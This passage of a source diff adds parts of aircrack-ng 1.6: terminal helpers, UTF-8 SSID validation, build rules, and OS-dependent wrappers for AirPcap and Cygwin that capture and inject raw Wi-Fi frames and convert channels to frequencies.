+	snprintf(command, sizeof(command), "%c[?25l", 0x1B);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void show_cursor(void)
+{
+	char command[13];
+
+	snprintf(command, sizeof(command), "%c[?25h", 0x1B);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+int mygetch(void)
+{
+	struct termios oldt, newt;
+	int ch = EOF;
+
+	tcgetattr(STDIN_FILENO, &oldt);
+	newt = oldt;
+	newt.c_lflag &= ~(ICANON | ECHO);
+	newt.c_cc[VMIN] = 0; /* require no keypress */
+	newt.c_cc[VTIME] = 2; /* 20 ms delay */
+	tcsetattr(STDIN_FILENO, TCSANOW, &newt);
+
+	char c;
+	if (read(STDIN_FILENO, &c, sizeof(char)) > 0) ch = (int) c;
+
+	tcsetattr(STDIN_FILENO, TCSANOW, &oldt);
+
+	return ch;
+}
+
+void console_utf8_enable(void)
+{
+	setlocale(LC_CTYPE, "");
+
+	char * codepage = nl_langinfo(CODESET);
+	if (codepage != NULL && strcmp(codepage, "UTF-8") != 0)
+	{
+		fprintf(stderr,
+				"Warning: Detected you are using a non-UNICODE "
+				"terminal character encoding.\n");
+		sleep(1);
+	}
+}
\ No newline at end of file

aircrack-ng-1.6.tar.gz/lib/libac/utf8 Added

aircrack-ng-1.6.tar.gz/lib/libac/utf8/verifyssid.c Added

@@ -0,0 +1,88 @@
+/*
+ *  VerifySSID function (UTF-8 supported)
+ *
+ *  Copyright (C) 2018 ZhaoChunsheng
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include "aircrack-ng/utf8/verifyssid.h"
+
+int verifyssid(const unsigned char * s)
+{
+	int i;
+	unsigned char c;
+
+	if (!s || strlen((const char *) s) > 32)
+	{ // 32 characters
+		return 0;
+	}
+
+	for (i = 0; (c = s[i++]);)
+	{
+		if ((c & 0x80) == 0)
+		{ // ascii flag
+			if (c < 0x20 || c == 0x7f)
+			{
+				return 0;
+			}
+		}
+		else if ((c & 0xe0) == 0xc0)
+		{ // utf8 flag
+			if ((s[i++] & 0xc0) != 0x80)
+			{
+				return 0;
+			}
+		}
+		else if ((c & 0xf0) == 0xe0)
+		{ // utf8 flag
+			if ((s[i++] & 0xc0) != 0x80 || (s[i++] & 0xc0) != 0x80)
+			{
+				return 0;
+			}
+		}
+		else if ((c & 0xf8) == 0xf0)
+		{ // utf8 flag
+			if ((s[i++] & 0xc0) != 0x80 || (s[i++] & 0xc0) != 0x80
+				|| (s[i++] & 0xc0) != 0x80)
+			{
+				return 0;
+			}
+		}
+		else
+		{
+			return 0;
+		}
+	}
+	return 1;
+}

aircrack-ng-1.6.tar.gz/lib/osdep Added

aircrack-ng-1.6.tar.gz/lib/osdep/Makefile.inc Added

@@ -0,0 +1,120 @@
+# Aircrack-ng
+#
+# Copyright (C) 2018 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+SRCS_COMMON = %D%/network.c %D%/file.c
+SRCS        = %D%/osdep.c $(SRCS_COMMON)
+SRCS_APCAP  = %D%/airpcap.c
+SRCS_OBSD   = $(SRCS) %D%/openbsd.c %D%/openbsd_tap.c %D%/common.c
+SRCS_NBSD	= $(SRCS) %D%/netbsd.c %D%/netbsd_tap.c %D%/common.c
+SRCS_FBSD	= $(SRCS) %D%/freebsd.c %D%/freebsd_tap.c %D%/common.c
+SRCS_LINUX	= $(SRCS) %D%/linux.c %D%/linux_tap.c %D%/common.c
+SRCS_DUMMY	= $(SRCS) %D%/dummy.c %D%/dummy_tap.c %D%/common.c
+SRCS_CYGWIN	= $(SRCS) %D%/cygwin.c %D%/cygwin_tap.c %D%/common.c
+SRCS_DARWIN = $(SRCS) %D%/darwin.c %D%/darwin_tap.c %D%/common.c
+
+if AIRPCAP
+SRCS_CYGWIN    += $(SRCS_APCAP)
+endif
+
+if CYGWIN
+if AIRPCAP
+libaircrack_osdep_la_SOURCES = $(SRCS_CYGWIN)
+libaircrack_osdep_la_CFLAGS = $(AIRPCAP_CFLAGS)
+libaircrack_osdep_la_LIBADD = $(AIRPCAP_LIBS) $(LIBRADIOTAP_LIBS) -lsetupapi -liphlpapi
+else
+libaircrack_osdep_la_SOURCES = $(SRCS_CYGWIN)
+endif
+endif
+
+if DARWIN
+libaircrack_osdep_la_SOURCES = $(SRCS_DARWIN)
+endif
+
+if DUMMY
+libaircrack_osdep_la_SOURCES = $(SRCS_DUMMY)
+endif
+
+if FREEBSD
+libaircrack_osdep_la_SOURCES = $(SRCS_FBSD)
+endif
+
+if LINUX
+libaircrack_osdep_la_SOURCES = $(SRCS_LINUX)
+libaircrack_osdep_la_CFLAGS  = $(LIBNL_CFLAGS)
+libaircrack_osdep_la_LIBADD = $(LIBNL_LIBS) $(LIBRADIOTAP_LIBS)
+endif
+
+if NETBSD
+libaircrack_osdep_la_SOURCES = $(SRCS_NBSD)
+endif
+
+if OPENBSD
+libaircrack_osdep_la_SOURCES = $(SRCS_OBSD)
+endif
+
+if !AIRPCAP
+libaircrack_osdep_la_LIBADD = $(LIBRADIOTAP_LIBS)
+if CYGWIN
+libaircrack_osdep_la_LIBADD += -lsetupapi -liphlpapi
+endif
+endif
+
+lib_LTLIBRARIES += libaircrack-osdep.la
+libaircrack_osdep_la_LDFLAGS = -release $(LT_VER) -no-undefined
+libaircrack_osdep_la_CPPFLAGS = -I$(top_srcdir)/include/aircrack-ng/osdep $(AM_CPPFLAGS)
+
+EXTRA_DIST +=     %D%/openbsd.c \
+                  %D%/darwin.c \
+                  %D%/common.c \
+                  %D%/darwin_tap.c \
+                  %D%/cygwin.c \
+                  %D%/linux.c \
+                  %D%/file.c \
+                  %D%/linux_tap.c \
+                  %D%/airpcap.c \
+                  %D%/netbsd.c \
+                  %D%/freebsd_tap.c \
+                  %D%/freebsd.c \
+                  %D%/osdep.c \
+                  %D%/dummy_tap.c \
+                  %D%/openbsd_tap.c \
+                  %D%/dummy.c \
+                  %D%/netbsd_tap.c \
+                  %D%/network.c \
+                  %D%/cygwin_tap.c

aircrack-ng-1.6.tar.gz/lib/osdep/aircrack_ng_airpcap.h Changed

aircrack-ng-1.6.tar.gz/lib/osdep/airpcap.c Added

@@ -0,0 +1,407 @@
+/*
+   *  Copyright (c) 2007-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+   *
+   *  Airpcap stuff
+   *
+   *  This program is free software; you can redistribute it and/or modify
+   *  it under the terms of the GNU General Public License as published by
+   *  the Free Software Foundation; either version 2 of the License, or
+   *  (at your option) any later version.
+   *
+   *  This program is distributed in the hope that it will be useful,
+   *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+   *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   *  GNU General Public License for more details.
+   *
+   *  You should have received a copy of the GNU General Public License
+   *  along with this program; if not, write to the Free Software
+   *
+   * In addition, as a special exception, the copyright holders give
+   * permission to link the code of portions of this program with the
+   * OpenSSL library under certain conditions as described in each
+   * individual source file, and distribute linked combinations
+   * including the two.
+   * You must obey the GNU General Public License in all respects
+   * for all of the code used other than OpenSSL.  If you modify
+   * file(s) with this exception, you may extend this exception to your
+   * version of the file(s), but you are not obligated to do so.  If you
+   * do not wish to do so, delete this exception statement from your
+   * version.  If you delete this exception statement from all source
+   * files in the program, then also delete it here.
+   *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+   */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#ifdef HAVE_AIRPCAP
+
+#include <string.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <ctype.h>
+#include <windows.h>
+#include <airpcap.h>
+
+#include "osdep.h"
+
+//------------------ PPI ---------------------
+#define PPH_PH_VERSION ((u_int8_t) 0x00)
+#define PPI_FIELD_TYPE_802_11_COMMON ((u_int16_t) 0x02)
+
+typedef struct _PPI_PACKET_HEADER
+{
+	u_int8_t PphVersion;
+	u_int8_t PphFlags;
+	u_int16_t PphLength;
+	u_int32_t PphDlt;
+} PPI_PACKET_HEADER, *PPPI_PACKET_HEADER;
+
+typedef struct _PPI_FIELD_HEADER
+{
+	u_int16_t PfhType;
+	u_int16_t PfhLength;
+} PPI_FIELD_HEADER, *PPPI_FIELD_HEADER;
+
+typedef struct _PPI_FIELD_802_11_COMMON
+{
+	u_int64_t TsfTimer;
+	u_int16_t Flags;
+	u_int16_t Rate;
+	u_int16_t ChannelFrequency;
+	u_int16_t ChannelFlags;
+	u_int8_t FhssHopset;
+	u_int8_t FhssPattern;
+	int8_t DbmAntSignal;
+	int8_t DbmAntNoise;
+} PPI_FIELD_802_11_COMMON, *PPPI_FIELD_802_11_COMMON;
+
+#define DEVICE_PREFIX "\\\\.\\"
+#define DEVICE_COMMON_PART "airpcap"
+
+PAirpcapHandle airpcap_handle;
+
+/**
+ * Check if the device is an Airpcap device
+ * @param iface Interface name
+ * @return 1 if it is an Airpcap device, 0 if not
+ */
+int isAirpcapDevice(const char * iface)
+{
+	char * pos;
+	int len;
+
+	pos = strstr(iface, DEVICE_COMMON_PART);
+
+	// Check if it contains "airpcap"
+	if (!pos) return 0;
+
+	if (pos != iface)
+	{
+		// Check if it begins with '\\.\'
+		if (strstr(iface, AIRPCAP_DEVICE_NAME_PREFIX) != iface) return 0;
+	}
+
+	len = strlen(iface);
+
+	// Checking that it contains 2 figures at the end.
+	// No need to check for length, it was already done by the first check
+	if (!(isdigit((int) iface[len - 1])) || !(isdigit((int) iface[len - 2])))
+		return 0;
+
+	return 1;
+}
+
+/**
+ * Parse information from a PPI packet (will be used later).
+ * @param p packet
+ * @param caplen Length of the packet
+ * @param hdrlen Length of the header
+ * @param power pointer that will contains the power of the packet
+ * @return 0 if successful decoding, 1 if it failed to decode
+ */
+int ppi_decode(const u_char * p, int caplen, int * hdrlen, int * power)
+{
+	PPPI_PACKET_HEADER pPpiPacketHeader;
+	PPPI_FIELD_HEADER pFieldHeader;
+	ULONG position = 0;
+
+	// Sanity checks
+	if (caplen < (int) sizeof(*pPpiPacketHeader))
+	{
+		// Packet smaller than the PPI fixed header
+		return (1);
+	}
+
+	pPpiPacketHeader = (PPPI_PACKET_HEADER) p;
+
+	*hdrlen = pPpiPacketHeader->PphLength;
+
+	if (caplen < *hdrlen)
+	{
+		// Packet smaller than the PPI fixed header
+		return (1);
+	}
+
+	position = sizeof(*pPpiPacketHeader);
+
+	if (pPpiPacketHeader->PphVersion != PPH_PH_VERSION)
+	{
+		fprintf(stderr,
+				"Unknown PPI packet header version (%u)\n",
+				pPpiPacketHeader->PphVersion);
+		return (1);
+	}
+
+	do
+	{
+		// now we suppose to have an 802.11-Common header
+		if (*hdrlen < (int) (sizeof(*pFieldHeader) + position))
+		{
+			break;
+		}
+
+		pFieldHeader = (PPPI_FIELD_HEADER)(p + position);
+		position += sizeof(*pFieldHeader);
+
+		switch (pFieldHeader->PfhType)
+		{
+			case PPI_FIELD_TYPE_802_11_COMMON:
+				if (pFieldHeader->PfhLength != sizeof(PPI_FIELD_802_11_COMMON)
+					|| caplen - position < sizeof(PPI_FIELD_802_11_COMMON))
+				{
+					// the header is bogus, just skip it
+					fprintf(stderr,
+							"Bogus 802.11-Common Field. Skipping it.\n");
+				}
+				else
+				{
+					PPPI_FIELD_802_11_COMMON pField
+						= (PPPI_FIELD_802_11_COMMON)(p + position);
+
+					if (pField->DbmAntSignal != -128)
+					{
+						*power = (int) pField->DbmAntSignal;
+					}
+					else
+					{
+						*power = 0;
+					}
+				}
+				break;
+
+			default:
+				// we do not know this field. Just print type and length and
+				// skip
+				break;
+		}
+
+		position += pFieldHeader->PfhLength;
+	} while (TRUE);
+
+	return (0);
+}
+
+/**
+ * Set MAC Address of the device
+ * @param mac MAC Address
+ * @return 0 (successful)
+ */
+int airpcap_set_mac(void * mac)
+{
+	if (mac)
+	{
+	}
+	return 0;
+}
+
+/**
+ * Close device
+ */
+void airpcap_close(void)
+{
+	// By default, when plugged in, the adapter is set in monitor mode;
+	// Application may assume it's already in monitor mode and forget to set it
+	// So, do not remove monitor mode.
+	if (airpcap_handle != NULL)
+	{
+		AirpcapClose(airpcap_handle);
+		airpcap_handle = NULL;
+	}
+}
+
+/**
+ * Get MAC Address of the device (not yet implemented)
+ * @param mac It will contain the mac address
+ * @return 0 (successful)
+ */
+int airpcap_get_mac(void * mac)
+{
+	// Don't use the function from Airpcap
+	if (mac)
+	{
+	}
+
+	return 0;
+}
+
+/**
+ * Capture one packet
+ * @param buf Buffer for the packet
+ * @param len Length of the buffer
+ * @param ri Receive information
+ * @return -1 if failure or the number of bytes received
+ */
+int airpcap_sniff(void * buf, int len, struct rx_info * ri)
+{
+	// Use PPI headers to obtain the different information for ri
+	// Use AirpcapConvertFrequencyToChannel() to get channel
+	// Add an option to give frequency instead of channel
+	UINT BytesReceived = 0;
+
+	if (ri)
+	{
+	}
+	// Wait for the next packet
+	// Maybe add an event packets to read
+	// WaitForSingleObject(ReadEvent, INFINITE);
+
+	// Read a packet
+	if (AirpcapRead(airpcap_handle, buf, len, &BytesReceived))
+		return (int) BytesReceived;
+
+	return -1;
+}
+
+/**
+ * Inject one packet
+ * @param buf Buffer for the packet
+ * @param len Length of the buffer
+ * @param ti Transmit information
+ * @return -1 if failure or the number of bytes sent
+ */
+int airpcap_inject(void * buf, int len, struct tx_info * ti)
+{
+	if (ti)
+	{
+	}
+	if (AirpcapWrite(airpcap_handle, buf, len) != 1) return -1;
+
+	return len;
+}
+
+/**
+ * Print the error message
+ * @param err Contains the error message and a %s in order to show the Airpcap
+ * error
+ * @param retValue Value returned by the function
+ * @return retValue
+ */
+int printErrorCloseAndReturn(const char * err, int retValue)
+{
+	if (err && airpcap_handle)
+	{
+		if (strlen(err))
+		{
+			if (airpcap_handle)
+				fprintf(stderr, err, AirpcapGetLastError(airpcap_handle));
+			else
+				fprintf(stderr, "%s", err);
+		}
+	}
+
+	airpcap_close();
+
+	return retValue;
+}
+
+/**
+ * Initialize the device
+ * @param param Parameters for the initialization
+ * @return 0 if successful, -1 in case of failure
+ */
+int airpcap_init(char * param)
+{
+	// Later: if several interfaces are given, aggregate them.
+
+	char * iface;
+	char errbuf[AIRPCAP_ERRBUF_SIZE];
+
+	iface = (char *) calloc(1, strlen(param) + 100);
+
+	if (param)
+	{
+		// if it's empty, use the default adapter
+		if (strlen(param) > 0)
+		{
+			if (strstr(param, DEVICE_PREFIX) == NULL)
+			{
+				// Not found, add it
+
+				strcpy(iface, DEVICE_PREFIX);
+				strcat(iface, param);
+			}
+			else
+			{
+				// Already contains the adapter header
+				strcpy(iface, param);
+			}
+		}
+	}
+
+	airpcap_handle = AirpcapOpen(iface, errbuf);
+
+	if (airpcap_handle == NULL)
+	{
+		fprintf(stderr,
+				"This adapter doesn't have wireless extensions. Quitting\n");
+		// pcap_close( winpcap_adapter );
+		return (-1);
+	}
+
+	/* Tell the adapter that the packets we'll send and receive don't include
+	 * the FCS */
+	if (!AirpcapSetFcsPresence(airpcap_handle, FALSE))
+		return printErrorCloseAndReturn("Error setting FCS presence: %s\n", -1);
+
+	/* Set the link layer to bare 802.11 */
+	if (!AirpcapSetLinkType(airpcap_handle, AIRPCAP_LT_802_11))
+		return printErrorCloseAndReturn("Error setting the link type: %s\n",
+										-1);
+
+	/* Accept correct frames only */
+	if (!AirpcapSetFcsValidation(airpcap_handle,
+								 AIRPCAP_VT_ACCEPT_CORRECT_FRAMES))
+		return printErrorCloseAndReturn("Error setting FCS validation: %s\n",
+										-1);
+
+	/* Set a low mintocopy for better responsiveness */
+	if (!AirpcapSetMinToCopy(airpcap_handle, 1))
+		return printErrorCloseAndReturn("Error setting MinToCopy: %s\n", -1);
+
+	return 0;
+}
+
+/**
+ * Set device channel
+ * @param chan Channel
+ * @return 0 if successful, -1 if it failed
+ */
+int airpcap_set_chan(int chan)
+{
+	// Make sure a valid channel is given
+	if (chan <= 0) return -1;
+
+	if (!AirpcapSetDeviceChannel(airpcap_handle, chan))
+	{
+		printf("Error setting the channel to %d: %s\n",
+			   chan,
+			   AirpcapGetLastError(airpcap_handle));
+		return -1;
+	}
+
+	return 0;
+}
+
+#endif

aircrack-ng-1.6.tar.gz/lib/osdep/common.c Added

@@ -0,0 +1,81 @@
+/*
+   *  Copyright (c) 2008-2018, Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+   *
+   *  Common OSdep stuff
+   *
+   *  This program is free software; you can redistribute it and/or modify
+   *  it under the terms of the GNU General Public License as published by
+   *  the Free Software Foundation; either version 2 of the License, or
+   *  (at your option) any later version.
+   *
+   *  This program is distributed in the hope that it will be useful,
+   *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+   *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   *  GNU General Public License for more details.
+   *
+   *  You should have received a copy of the GNU General Public License
+   *  along with this program; if not, write to the Free Software
+   *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+   */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <string.h>
+#include <stdlib.h>
+#include "common.h"
+
+/**
+ * Return the frequency in Mhz from a channel number
+ */
+EXPORT int getFrequencyFromChannel(int channel)
+{
+	static int frequencies[] = {
+		-1, // No channel 0
+		2412, 2417, 2422, 2427, 2432, 2437, 2442, 2447, 2452, 2457, 2462, 2467,
+		2472, 2484, -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,
+		-1,   -1,   -1,   -1,   -1,   -1,   -1,   -1,
+		-1, // Nothing from channel 15 to 34 (exclusive)
+		5170, 5175, 5180, 5185, 5190, 5195, 5200, 5205, 5210, 5215, 5220, 5225,
+		5230, 5235, 5240, 5245, 5250, 5255, 5260, 5265, 5270, 5275, 5280, 5285,
+		5290, 5295, 5300, 5305, 5310, 5315, 5320, 5325, 5330, 5335, 5340, 5345,
+		5350, 5355, 5360, 5365, 5370, 5375, 5380, 5385, 5390, 5395, 5400, 5405,
+		5410, 5415, 5420, 5425, 5430, 5435, 5440, 5445, 5450, 5455, 5460, 5465,
+		5470, 5475, 5480, 5485, 5490, 5495, 5500, 5505, 5510, 5515, 5520, 5525,
+		5530, 5535, 5540, 5545, 5550, 5555, 5560, 5565, 5570, 5575, 5580, 5585,
+		5590, 5595, 5600, 5605, 5610, 5615, 5620, 5625, 5630, 5635, 5640, 5645,
+		5650, 5655, 5660, 5665, 5670, 5675, 5680, 5685, 5690, 5695, 5700, 5705,
+		5710, 5715, 5720, 5725, 5730, 5735, 5740, 5745, 5750, 5755, 5760, 5765,
+		5770, 5775, 5780, 5785, 5790, 5795, 5800, 5805, 5810, 5815, 5820, 5825,
+		5830, 5835, 5840, 5845, 5850, 5855, 5860, 5865, 5870, 5875, 5880, 5885,
+		5890, 5895, 5900, 5905, 5910, 5915, 5920, 5925, 5930, 5935, 5940, 5945,
+		5950, 5955, 5960, 5965, 5970, 5975, 5980, 5985, 5990, 5995, 6000, 6005,
+		6010, 6015, 6020, 6025, 6030, 6035, 6040, 6045, 6050, 6055, 6060, 6065,
+		6070, 6075, 6080, 6085, 6090, 6095, 6100};
+
+	return (channel > 0 && channel <= HIGHEST_CHANNEL)
+			   ? frequencies[channel]
+			   : (channel >= LOWEST_CHANNEL && channel <= -4)
+					 ? 5000 - (channel * 5)
+					 : -1;
+}
+
+/**
+ * Return the channel from the frequency (in Mhz)
+ */
+EXPORT int getChannelFromFrequency(int frequency)
+{
+	if (frequency >= 2412 && frequency <= 2472)
+		return (frequency - 2407) / 5;
+	else if (frequency == 2484)
+		return 14;
+
+	else if (frequency >= 4920 && frequency <= 6100)
+		return (frequency - 5000) / 5;
+	else
+		return -1;
+}

aircrack-ng-1.6.tar.gz/lib/osdep/crctable_osdep.h Changed

aircrack-ng-1.6.tar.gz/lib/osdep/cygwin.c Added

@@ -0,0 +1,574 @@
+/*
+   *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+   *
+   *  OS dependent API for cygwin. It relies on an external
+   *  DLL to do the actual wifi stuff
+   *
+   *  This program is free software; you can redistribute it and/or modify
+   *  it under the terms of the GNU General Public License as published by
+   *  the Free Software Foundation; either version 2 of the License, or
+   *  (at your option) any later version.
+   *
+   *  This program is distributed in the hope that it will be useful,
+   *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+   *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   *  GNU General Public License for more details.
+   *
+   *  You should have received a copy of the GNU General Public License
+   *  along with this program; if not, write to the Free Software
+   *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+   */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <pthread.h>
+#include <unistd.h>
+#include <assert.h>
+#include <stdlib.h>
+#include <dlfcn.h>
+#include <string.h>
+#include <stdio.h>
+#include <ctype.h>
+#include <windows.h>
+
+#include "osdep.h"
+#include "network.h"
+#include "cygwin.h"
+
+#ifdef HAVE_AIRPCAP
+#include "aircrack_ng_airpcap.h"
+#endif
+
+#define xstr(s) str(s)
+#define str(s) #s
+
+#define DLL_EXTENSION ".dll"
+
+struct priv_cygwin
+{
+	pthread_t pc_reader;
+	volatile int pc_running;
+	int pc_pipe[2]; /* reader -> parent */
+	int pc_channel;
+	int pc_frequency;
+	struct wif * pc_wi;
+	int pc_did_init;
+
+	int isAirpcap;
+	int useDll;
+
+	int (*pc_init)(char * param);
+	int (*pc_set_chan)(int chan);
+	int (*pc_set_freq)(int freq);
+	int (*pc_inject)(void * buf, int len, struct tx_info * ti);
+	int (*pc_sniff)(void * buf, int len, struct rx_info * ri);
+	int (*pc_get_mac)(void * mac);
+	int (*pc_set_mac)(void * mac);
+	void (*pc_close)(void);
+};
+
+/**
+ * strstr() function case insensitive
+ * @param String C string to be scanned
+ * @param Pattern C string containing the sequence of characters to match
+ * @return Pointer to the first occurrence of Pattern in String, or a null
+ * pointer if there Pattern is not part of String.
+ */
+char * stristr(const char * String, const char * Pattern)
+{
+	char *pptr, *sptr, *start;
+	unsigned slen, plen;
+
+	for (start = (char *) String,
+		pptr = (char *) Pattern,
+		slen = strlen(String),
+		plen = strlen(Pattern);
+
+		 /* while string length not shorter than pattern length */
+
+		 slen >= plen;
+
+		 start++, slen--)
+	{
+		/* find start of pattern in string */
+		while (toupper((int) *start) != toupper((int) *Pattern))
+		{
+			start++;
+			slen--;
+
+			/* if pattern longer than string */
+
+			if (slen < plen) return (NULL);
+		}
+
+		sptr = start;
+		pptr = (char *) Pattern;
+
+		while (toupper((int) *sptr) == toupper((int) *pptr))
+		{
+			sptr++;
+			pptr++;
+
+			/* if end of pattern then pattern was found */
+
+			if ('\0' == *pptr) return (start);
+		}
+	}
+	return (NULL);
+}
+
+/**
+ * Get the different functions for to interact with the device:
+ * - setting monitor mode
+ * - changing channel
+ * - capturing data
+ * - injecting packets
+ * @param iface The interface name
+ */
+static int do_cygwin_open(struct wif * wi, char * iface)
+{
+	struct priv_cygwin * priv = wi_priv(wi);
+	void * lib;
+	char * file;
+	char * parm;
+	int rc = -1;
+
+	if (!iface) return -1;
+	if (strlen(iface) == 0) return -1;
+
+	priv->useDll = 0;
+
+	if (stristr(iface, DLL_EXTENSION)) priv->useDll = 1;
+
+	if (priv->useDll)
+	{
+		file = strdup(iface);
+		if (!file) return -1;
+
+		parm = strchr(file, '|');
+		if (parm) *parm++ = 0;
+
+		/* load lib */
+		lib = dlopen(file, RTLD_LAZY);
+		if (!lib) goto errdll;
+
+		priv->pc_init = dlsym(lib, xstr(CYGWIN_DLL_INIT));
+		priv->pc_set_chan = dlsym(lib, xstr(CYGWIN_DLL_SET_CHAN));
+		priv->pc_set_freq = dlsym(lib, xstr(CYGWIN_DLL_SET_FREQ));
+		priv->pc_get_mac = dlsym(lib, xstr(CYGWIN_DLL_GET_MAC));
+		priv->pc_set_mac = dlsym(lib, xstr(CYGWIN_DLL_SET_MAC));
+		priv->pc_close = dlsym(lib, xstr(CYGWIN_DLL_CLOSE));
+		priv->pc_inject = dlsym(lib, xstr(CYGWIN_DLL_INJECT));
+		priv->pc_sniff = dlsym(lib, xstr(CYGWIN_DLL_SNIFF));
+
+		if (!(priv->pc_init && priv->pc_set_chan && priv->pc_get_mac
+			  && priv->pc_inject
+			  && priv->pc_sniff
+			  && priv->pc_close))
+			goto errdll;
+
+		/* init lib */
+		if ((rc = priv->pc_init(parm))) goto errdll;
+		priv->pc_did_init = 1;
+
+		rc = 0;
+
+	errdll:
+		free(file);
+	}
+	else
+	{
+#ifdef HAVE_AIRPCAP
+		// Check if it's an Airpcap device
+		priv->isAirpcap = isAirpcapDevice(iface);
+
+		if (priv->isAirpcap)
+		{
+			// Get functions
+			priv->pc_init = airpcap_init;
+			priv->pc_set_chan = airpcap_set_chan;
+			priv->pc_get_mac = airpcap_get_mac;
+			priv->pc_set_mac = airpcap_set_mac;
+			priv->pc_close = airpcap_close;
+			priv->pc_inject = airpcap_inject;
+			priv->pc_sniff = airpcap_sniff;
+
+			rc = 0;
+		}
+
+#endif
+	}
+
+	if (rc == 0)
+	{
+		// Don't forget to initialize
+		if (!priv->useDll)
+		{
+			rc = priv->pc_init(iface);
+
+			if (rc == 0)
+				priv->pc_did_init = 1;
+			else
+				fprintf(stderr, "Error initializing <%s>\n", iface);
+		}
+	}
+	else
+	{
+		// Show an error message if the adapter is not supported
+		fprintf(stderr, "Adapter <%s> not supported\n", iface);
+	}
+
+	return rc;
+}
+
+/**
+ * Change channel
+ * @param chan Channel
+ * @return 0 if successful, -1 if it failed
+ */
+static int cygwin_set_channel(struct wif * wi, int chan)
+{
+	struct priv_cygwin * priv = wi_priv(wi);
+
+	if (priv->pc_set_chan(chan) == -1) return -1;
+
+	priv->pc_channel = chan;
+	return 0;
+}
+
+/**
+ * Change frequency
+ * @param freq Frequency
+ * @return 0 if successful, -1 if it failed
+ */
+static int cygwin_set_freq(struct wif * wi, int freq)
+{
+	struct priv_cygwin * priv = wi_priv(wi);
+
+	if (!priv->pc_set_freq || priv->pc_set_freq(freq) == -1) return -1;
+
+	priv->pc_frequency = freq;
+	return 0;
+}
+
+/**
+ * Capture a packet
+ * @param buf Buffer for the packet (has to be already allocated)
+ * @param len Length of the buffer
+ * @param ri Receive information structure
+ * @return -1 in case of failure or the number of bytes received
+ */
+static int cygwin_read_packet(struct priv_cygwin * priv,
+							  void * buf,
+							  int len,
+							  struct rx_info * ri)
+{
+	int rd;
+
+	memset(ri, 0, sizeof(*ri));
+
+	rd = priv->pc_sniff(buf, len, ri);
+	if (rd == -1) return -1;
+
+	if (!ri->ri_channel) ri->ri_channel = wi_get_channel(priv->pc_wi);
+
+	return rd;
+}
+
+/**
+ * Send a packet
+ * @param h80211 The packet itself
+ * @param len Length of the packet
+ * @param ti Transmit information
+ * @return -1 if failure or the number of bytes sent
+ */
+static int cygwin_write(struct wif * wi,
+						struct timespec * ts,
+						int dlt,
+						unsigned char * h80211,
+						int len,
+						struct tx_info * ti)
+{
+	struct priv_cygwin * priv = wi_priv(wi);
+	int rc;
+
+	(void) ts;
+	(void) dlt;
+
+	if ((rc = priv->pc_inject(h80211, len, ti)) == -1) return -1;
+
+	return rc;
+}
+
+/**
+ * Get device channel
+ * @return channel
+ */
+static int cygwin_get_channel(struct wif * wi)
+{
+	struct priv_cygwin * pc = wi_priv(wi);
+
+	return pc->pc_channel;
+}
+
+static int cygwin_get_freq(struct wif * wi)
+{
+	struct priv_cygwin * pc = wi_priv(wi);
+
+	return pc->pc_frequency;
+}
+
